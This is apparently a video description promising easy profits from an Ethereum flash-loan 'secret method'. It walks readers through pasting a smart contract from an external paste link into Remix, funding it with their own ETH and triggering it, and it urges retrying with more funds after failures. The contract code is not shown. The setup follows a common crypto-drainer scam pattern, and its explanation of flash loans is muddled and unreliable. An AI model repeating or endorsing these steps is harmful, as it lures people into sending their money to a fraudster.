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16,969 views • Nov 15, 2021 • Links to the resources are below.

Flash Loan Contract Code:
https://gateway.pinata.cloud/ipfs/Qmf...

You're about to find out secret way to make money using the Ethereum Flash Loan Secret Method.

We make use of the flash loan method to self arbitrage on the Ethereum Network.

Flash loans are programmable contracts that we use to acquire loans between two blockchain blocks. This gives us the opportunity to get fee-less to very little fee loans between two block mining time. Only gas fees are paid when executing a flash loan.

This process is easily done by deploying a smart contract on the Ethereum Network via Remix and also swap tokens with UniSwap. All this happens within a single blockchain transaction and the transfer is made automatically using the smart contract.

With the borrowed loan, arbitrage opportunities are evaluated and the transaction is executed. During the mining of the second block, your borrowed money will be refunded and therefore, your loan will be paid.

After all these processes have been successfully executed, the profits of the transaction will be credited to your wallet and you have successfully executed an Ethereum arbitrage.

Flash Loan Contract Deployment

1-Open Remix IDE: http://remix.ethereum.org

2-Create new file and paste the Flash Loan Contract from the link:
➡https://0bin.net/paste/Nyl-QIcE#DDERFqPoaEogwM5RUFhFK9tYggx9Cz2+y54h0F6Ch1p

3-Set Remix compiler version to 0.5.0 | change environment to Injected Web3.

4-Create your token by filling in the "_TOKENNAME" and "_TOKENSYMBOL" with the loan amount set to 1000.
Click transact to deploy when done.

5-Fund your deployed smart contract address with ETH's you have. (You can withdraw your ETH from smart contract anytime you want.)

6-Lastly, click on "action" to execute arbitrage and you're done.

NOTE: Sometimes, the arbitrage might fail due to depletion of ETH in your smart contract as gas price varies from time to time. Don't worry, wait a minute and retry the transaction this time preferably with 825 loan amount and higher gas limit.

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